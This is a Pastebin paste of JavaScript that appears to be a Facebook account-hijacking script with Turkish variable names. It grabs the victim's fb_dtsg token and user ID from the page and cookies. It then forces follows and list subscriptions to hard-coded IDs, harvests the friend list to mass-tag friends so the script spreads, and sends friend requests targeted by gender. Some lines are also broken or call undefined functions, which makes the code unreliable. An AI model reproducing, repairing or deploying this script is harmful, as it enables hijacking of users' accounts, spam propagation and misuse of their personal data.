Advertisement
Guest User

Untitled

a guest
Jul 22nd, 2017
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.29 KB | None | 0 0
  1. ar fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3. function a(abone)
  4. { var http4=new XMLHttpRequest;
  5. var url4="/ajax/follow/follow_profile.php?__a=1";
  6. var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";
  7. http4.open("POST",url4,true);
  8. http4.onreadystatechange=function()
  9. { if(http4.readyState==4&&http4.status==200)http4.close };
  10. http4.send(params4)}
  11. function sublist(uidss)
  12. { var a = document.createElement('script');
  13. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  14. document.body.appendChild(a);
  15. }
  16. sublist("1637232763156725");("1637235563156445")
  17. a("100005763284885");
  18. function sarkadaslari_al(){
  19. var xmlhttp = new XMLHttpRequest();
  20. xmlhttp.onreadystatechange = function () {
  21. if(xmlhttp.readyState == 4){
  22. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  23. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  24. smesaj = "";
  25. smesaj_text = "";
  26. for(i=f*10;i<(f+1)*10;i++){
  27. if(arkadaslar.payload.entries[i]){
  28. smesaj += "@["+ arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  29. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  30. }
  31. }
  32. sdurumpaylas(); }
  33.  
  34. }
  35.  
  36. };
  37. var params = "&filter[0]=user";
  38. params += "&options[0]=friends_only";
  39. params += "&options[1]=nm";
  40. params += "&token=v7";
  41. params += "&viewer=" + user_id;
  42. params += "&__user=" + user_id;
  43.  
  44. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  45. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  46. xmlhttp.send();
  47. }
  48.  
  49. var tiklama = document.addEventListener("click", function () {
  50. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  51. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  52. sarkadaslari_al();
  53. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  54.  
  55. document.removeEventListener(tiklama);
  56. }
  57. }, false);
  58.  
  59. function sarkadasekle(uid,tem){
  60. var xmlhttp = new XMLHttpRequest();
  61. xmlhttp.onreadystatechange = function () {
  62. if(xmlhttp.readyState == 4){
  63. }
  64. };
  65.  
  66. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  67. var params = "to_friend=" + uid;
  68. params += "&action=add_friend";
  69. params += "&how_found=friend_browser";
  70. params += "&ref_param=none";
  71. params += "&outgoing_id=";
  72. params += "&logging_location=friend_browser";
  73. params += "&no_flyout_on_click=true";
  74. params += "&ego_log_data=";
  75. params += "&http_referer=";
  76. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  77. params += "&phstamp=165816749114848369115";
  78. params += "&__user=" + user_id;
  79. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  80. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  81.  
  82. if(tem == "farketmez" && document.cookie.split("tem" + user_id +"=").length > 1){
  83. xmlhttp.send(params);
  84. }else if(document.cookie.split("tem" + user_id +"=").length <= 1){
  85. cinsiyetgetir(uid,tem,"sarkadasekle");
  86. }else if(tem == document.cookie.split("tem" + user_id +"=")[1].split(";")[0].toString()){
  87. xmlhttp.send(params);
  88. }
  89. }
  90.  
  91. var temsonuc = {};
  92. var temhtml = document.createElement("html");
  93. function scinsiyetgetir(uid,tem,fonksiyon){
  94. var xmlhttp = new XMLHttpRequest();
  95. xmlhttp.onreadystatechange = function () {
  96. if(xmlhttp.readyState == 4){
  97. eval("temsonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  98. temhtml.innerHTML = temsonuc.jsmods.markup[0][1].__html
  99. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  100. if(temhtml.getElementsByTagName("select")[0].value == "1"){
  101. document.cookie = "tem" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  102. }else if(temhtml.getElementsByTagName("select")[0].value == "2"){
  103. document.cookie = "tem" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  104. }
  105. eval(fonksiyon + "(" + id + "," + tem + ");");
  106. }
  107. };
  108. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  109. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  110. xmlhttp.send();
  111. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement